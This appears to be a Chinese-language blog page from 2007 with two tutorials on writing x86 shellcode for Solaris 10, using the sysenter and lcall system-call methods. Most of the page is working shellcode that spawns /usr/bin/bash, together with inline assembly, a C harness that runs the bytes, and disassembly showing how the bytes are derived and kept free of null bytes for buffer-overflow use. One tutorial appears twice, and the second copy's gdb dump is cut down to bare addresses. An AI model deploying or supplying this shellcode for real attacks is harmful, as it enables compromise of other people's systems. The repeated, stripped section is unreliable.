lcall $0x07, $0x0是很久以前就在使用的系统调用方式。Intel提供了sysenter快速系统调用指令,如果在shellcode的编写中使用该指令,可以缩短shellcode的长度,让我们试一下。代码如下:
/*main.c
coded by alvin.
alvin.ding@gmail.com
*/
void main() {
__asm__("jmp .+0x24\n\t"); /* 跳转到call指令 */
__asm__("popl %esi\n\t"); /* 字符串的地址放入%esi */
__asm__("movl %esi, -0x8(%ebp)\n\t"); /* 将字符串的地址保存在栈内存中 */
__asm__("xorl %eax, %eax\n\t");
__asm__("movl %eax, -0x4(%ebp)\n\t");
__asm__("subl $0x4, %esp\n\t");
__asm__("push %eax\n\t"); /* NULL字符入栈 */
__asm__("leal -0x8(%ebp), %eax\n\t"); /* 字符串变量地址保存在%eax中 */
__asm__("pushl %eax\n\t"); /* 地址入栈,为系统调用做准备 */
__asm__("pushl -0x8(%ebp)\n\t"); /* 字符串地址入栈 */
__asm__("movl %esi, %edx\n\t");
__asm__("subl $0x0e, %edx\n\t"); /* 返回地址放入%edx中 */
__asm__("xorl %eax, %eax\n\t");
__asm__("movb $0x3b, %al\n\t"); /* 系统调用号0x3b放入%eax */
__asm__("pushl %edx\n\t");
__asm__("movl %esp, %ecx\n\t"); /* 当前堆栈指针保存在%ecx */
__asm__("sysenter\n\t");
__asm__("call .-0x22\n\t"); /* 返回到jmp指令后的指令继续运行,这样做是为了得到本指令后定义的字符串"/usr/bin/bash"的地址 */
__asm__(".string \"/usr/bin/bash\""); /* 我们要执行的shell */
}
这样我们得出的shellcode如下:
static char shellcode[] =
"\xeb\x22\x5e\x89\x75\xf8\x33\xc0\x89\x45\xfc"
"\x83\xec\x04\x50\x8d\x45\xf8\x50\xff\x75\xf8"
"\x8b\xd6\x83\xea\x0e\x33\xc0\xb0\x3b\x52\x8b"
"\xcc\x0f\x34\xe8\xd9\xff\xff\xff\x2f\x75\x73"
"\x72\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";
(编译的方法在前面的文章已经有过叙述)
Tuesday, February 13, 2007
Sunday, February 11, 2007
编写Solaris 10 x86的Shellcode
shell.c
static char shell[] = "\x33\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42
\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01
\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x33\xc0\x66\x6a\x68\x68
\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72
\x8b\xdc\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51
\x53\xb0\x0b\xe8\xc7\xff\xff\xff";
int main() {
void (*fun)();
fun = (void*)shell;
fun();
return 0;
}
以上文件中的shell数组的内容就是我们需要的shellcode,以下讨论获得这个shellcode的过程。
本实验使用的工具gcc(v3.3.2)和gdb(v6.4)。
因为在C语言中字符数组是以‘\0’结尾的,在实际攻击代码中使用时,诸如strcpy等函数会忽略字符串中0x00以后的字符。所以应该在指令代码中避免0x00,比如movl $0x0, %eax应该使用xorl %eax, %eax代替。
这里shellcode使用lcall系统调用/usr/bin/bash获得一个shell。
汇编代码如下(为调试方便,每行只含一条指令):
shellcode.c
void main(){
__asm__("xorl %eax,%eax\n\t");
__asm__("jmp .+0xb\n\t");
__asm__("popl %edx\n\t");
__asm__("movl %eax, 0x1(%edx)\n\t");
__asm__("movb %al, 0x6(%edx)\n\t");
__asm__("jmp .+0x0f\n\t");
__asm__("call .-0x9\n\t");
__asm__("lcall $0x107,$0x1010101\n\t");
__asm__("ret\n\t");
__asm__("pushl %eax\n\t");
__asm__("movb $0x17,%al\n\t");
__asm__("call .-0xb\n\t");
__asm__("xorl %eax,%eax\n\t");
__asm__("pushw $0x68\n\t");
__asm__("pushl $0x7361622f\n\t");
__asm__("pushl $0x6e69622f\n\t");
__asm__("pushl $0x7273752f\n\t");
__asm__("movl %esp,%ebx\n\t");
__asm__("pushl %eax\n\t");
__asm__("pushl %ebx\n\t");
__asm__("leal (%esp),%ecx\n\t");
__asm__("leal 0x4(%esp),%edx\n\t");
__asm__("pushl %edx\n\t");
__asm__("pushl %ecx\n\t");
__asm__("pushl %ebx\n\t");
__asm__("movb $0xb,%al\n\t");
__asm__("call .-0x34\n\t");
}
系统调用lcall $0x07,0x0被lcall $0x107,$0x1010101代替是因为前者的二进制代码中包含0x00,通过
__asm__("movl %eax, 0x1(%edx)\n\t");
__asm__("movb %al, 0x6(%edx)\n\t");
两条指令在运行时将lcall $0x107,$0x1010101修改成为lcall $0x07,0x0。需要说明的是只有将上述代码放置于数据段,才能直接执行。因为通常代码段是只读的,不能在运行时修改代码段的指令。
四条连续的push指令压栈的是字符串“/usr/bin/bash”的ASCII值。
使用gcc编译该文件:
gcc -o shellcode -g -ggdb shellcode.c
通过gdb进行调试并得到二进制指令:
gdb shellcode
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-pc-solaris2.10"...
(gdb) disassemble main
Dump of assembler code for function main:
0x08050673: push %ebp
0x08050674: mov %esp,%ebp
0x08050676: sub $0x8,%esp
0x08050679: and $0xfffffff0,%esp
0x0805067c: mov $0x0,%eax
0x08050681: sub %eax,%esp
0x08050683: xor %eax,%eax
0x08050685: jmp 0x8050690
0x08050687: pop %edx
0x08050688: mov %eax,0x1(%edx)
0x0805068b: mov %al,0x6(%edx)
0x0805068e: jmp 0x805069d
0x08050690: call 0x8050687
0x08050695: lcall $0x107,$0x1010101
0x0805069c: ret
0x0805069d: push %eax
0x0805069e: mov $0x17,%al
0x080506a0: call 0x8050695
0x080506a5: xor %eax,%eax
0x080506a7: pushw $0x68
0x080506aa: push $0x7361622f
0x080506af: push $0x6e69622f
0x080506b4: push $0x7273752f
0x080506b9: mov %esp,%ebx
0x080506bb: push %eax
0x080506bc: push %ebx
0x080506bd: lea (%esp),%ecx
0x080506c0: lea 0x4(%esp),%edx
0x080506c4: push %edx
0x080506c5: push %ecx
0x080506c6: push %ebx
0x080506c7: mov $0xb,%al
0x080506c9: call 0x8050695
0x080506ce: leave
0x080506cf: ret
End of assembler dump.
(gdb)
通过gdb确定代码中jmp和call指令的偏移值。
-bash-3.00# dis -F main ./shellcode
**** DISASSEMBLER ****
disassembly for ./shellcode
section .text
main()
main: 55 pushl %ebp
main+0x1: 8b ec movl %esp,%ebp
main+0x3: 83 ec 08 subl $0x8,%esp
main+0x6: 83 e4 f0 andl $0xfffffff0,%esp
main+0x9: b8 00 00 00 00 movl $0x0,%eax
main+0xe: 2b e0 subl %eax,%esp
main+0x10: 33 c0 xorl %eax,%eax
main+0x12: eb 09 jmp +0xb
main+0x14: 5a popl %edx
main+0x15: 89 42 01 movl %eax,0x1(%edx)
main+0x18: 88 42 06 movb %al,0x6(%edx)
main+0x1b: eb 0d jmp +0xf
main+0x1d: e8 f2 ff ff ff call -0x9
main+0x22: 9a 01 01 01 01 07 01 lcall $0x107,$0x1010101
main+0x29: c3 ret
main+0x2a: 50 pushl %eax
main+0x2b: b0 17 movb $0x17,%al
main+0x2d: e8 f0 ff ff ff call -0xb
main+0x32: 33 c0 xorl %eax,%eax
main+0x34: 66 6a 68 pushw $0x68
main+0x37: 68 2f 62 61 73 pushl $0x7361622f
main+0x3c: 68 2f 62 69 6e pushl $0x6e69622f
main+0x41: 68 2f 75 73 72 pushl $0x7273752f
main+0x46: 8b dc movl %esp,%ebx
main+0x48: 50 pushl %eax
main+0x49: 53 pushl %ebx
main+0x4a: 8d 0c 24 leal (%esp),%ecx
main+0x4d: 8d 54 24 04 leal 0x4(%esp),%edx
main+0x51: 52 pushl %edx
main+0x52: 51 pushl %ecx
main+0x53: 53 pushl %ebx
main+0x54: b0 0b movb $0xb,%al
main+0x56: e8 c7 ff ff ff call -0x34
main+0x5b: c9 leave
main+0x5c: c3 ret
-bash-3.00#
从main+0x10开始的33 c0就是我们需要的shellcode了。
static char shell[] = "\x33\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42
\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01
\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x33\xc0\x66\x6a\x68\x68
\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72
\x8b\xdc\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51
\x53\xb0\x0b\xe8\xc7\xff\xff\xff";
int main() {
void (*fun)();
fun = (void*)shell;
fun();
return 0;
}
以上文件中的shell数组的内容就是我们需要的shellcode,以下讨论获得这个shellcode的过程。
本实验使用的工具gcc(v3.3.2)和gdb(v6.4)。
因为在C语言中字符数组是以‘\0’结尾的,在实际攻击代码中使用时,诸如strcpy等函数会忽略字符串中0x00以后的字符。所以应该在指令代码中避免0x00,比如movl $0x0, %eax应该使用xorl %eax, %eax代替。
这里shellcode使用lcall系统调用/usr/bin/bash获得一个shell。
汇编代码如下(为调试方便,每行只含一条指令):
shellcode.c
void main(){
__asm__("xorl %eax,%eax\n\t");
__asm__("jmp .+0xb\n\t");
__asm__("popl %edx\n\t");
__asm__("movl %eax, 0x1(%edx)\n\t");
__asm__("movb %al, 0x6(%edx)\n\t");
__asm__("jmp .+0x0f\n\t");
__asm__("call .-0x9\n\t");
__asm__("lcall $0x107,$0x1010101\n\t");
__asm__("ret\n\t");
__asm__("pushl %eax\n\t");
__asm__("movb $0x17,%al\n\t");
__asm__("call .-0xb\n\t");
__asm__("xorl %eax,%eax\n\t");
__asm__("pushw $0x68\n\t");
__asm__("pushl $0x7361622f\n\t");
__asm__("pushl $0x6e69622f\n\t");
__asm__("pushl $0x7273752f\n\t");
__asm__("movl %esp,%ebx\n\t");
__asm__("pushl %eax\n\t");
__asm__("pushl %ebx\n\t");
__asm__("leal (%esp),%ecx\n\t");
__asm__("leal 0x4(%esp),%edx\n\t");
__asm__("pushl %edx\n\t");
__asm__("pushl %ecx\n\t");
__asm__("pushl %ebx\n\t");
__asm__("movb $0xb,%al\n\t");
__asm__("call .-0x34\n\t");
}
系统调用lcall $0x07,0x0被lcall $0x107,$0x1010101代替是因为前者的二进制代码中包含0x00,通过
__asm__("movl %eax, 0x1(%edx)\n\t");
__asm__("movb %al, 0x6(%edx)\n\t");
两条指令在运行时将lcall $0x107,$0x1010101修改成为lcall $0x07,0x0。需要说明的是只有将上述代码放置于数据段,才能直接执行。因为通常代码段是只读的,不能在运行时修改代码段的指令。
四条连续的push指令压栈的是字符串“/usr/bin/bash”的ASCII值。
使用gcc编译该文件:
gcc -o shellcode -g -ggdb shellcode.c
通过gdb进行调试并得到二进制指令:
gdb shellcode
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-pc-solaris2.10"...
(gdb) disassemble main
Dump of assembler code for function main:
0x08050673
0x08050674
0x08050676
0x08050679
0x0805067c
0x08050681
0x08050683
0x08050685
0x08050687
0x08050688
0x0805068b
0x0805068e
0x08050690
0x08050695
0x0805069c
0x0805069d
0x0805069e
0x080506a0
0x080506a5
0x080506a7
0x080506aa
0x080506af
0x080506b4
0x080506b9
0x080506bb
0x080506bc
0x080506bd
0x080506c0
0x080506c4
0x080506c5
0x080506c6
0x080506c7
0x080506c9
0x080506ce
0x080506cf
End of assembler dump.
(gdb)
通过gdb确定代码中jmp和call指令的偏移值。
-bash-3.00# dis -F main ./shellcode
**** DISASSEMBLER ****
disassembly for ./shellcode
section .text
main()
main: 55 pushl %ebp
main+0x1: 8b ec movl %esp,%ebp
main+0x3: 83 ec 08 subl $0x8,%esp
main+0x6: 83 e4 f0 andl $0xfffffff0,%esp
main+0x9: b8 00 00 00 00 movl $0x0,%eax
main+0xe: 2b e0 subl %eax,%esp
main+0x10: 33 c0 xorl %eax,%eax
main+0x12: eb 09 jmp +0xb
main+0x14: 5a popl %edx
main+0x15: 89 42 01 movl %eax,0x1(%edx)
main+0x18: 88 42 06 movb %al,0x6(%edx)
main+0x1b: eb 0d jmp +0xf
main+0x1d: e8 f2 ff ff ff call -0x9
main+0x22: 9a 01 01 01 01 07 01 lcall $0x107,$0x1010101
main+0x29: c3 ret
main+0x2a: 50 pushl %eax
main+0x2b: b0 17 movb $0x17,%al
main+0x2d: e8 f0 ff ff ff call -0xb
main+0x32: 33 c0 xorl %eax,%eax
main+0x34: 66 6a 68 pushw $0x68
main+0x37: 68 2f 62 61 73 pushl $0x7361622f
main+0x3c: 68 2f 62 69 6e pushl $0x6e69622f
main+0x41: 68 2f 75 73 72 pushl $0x7273752f
main+0x46: 8b dc movl %esp,%ebx
main+0x48: 50 pushl %eax
main+0x49: 53 pushl %ebx
main+0x4a: 8d 0c 24 leal (%esp),%ecx
main+0x4d: 8d 54 24 04 leal 0x4(%esp),%edx
main+0x51: 52 pushl %edx
main+0x52: 51 pushl %ecx
main+0x53: 53 pushl %ebx
main+0x54: b0 0b movb $0xb,%al
main+0x56: e8 c7 ff ff ff call -0x34
main+0x5b: c9 leave
main+0x5c: c3 ret
-bash-3.00#
从main+0x10开始的33 c0就是我们需要的shellcode了。
Subscribe to:
Posts (Atom)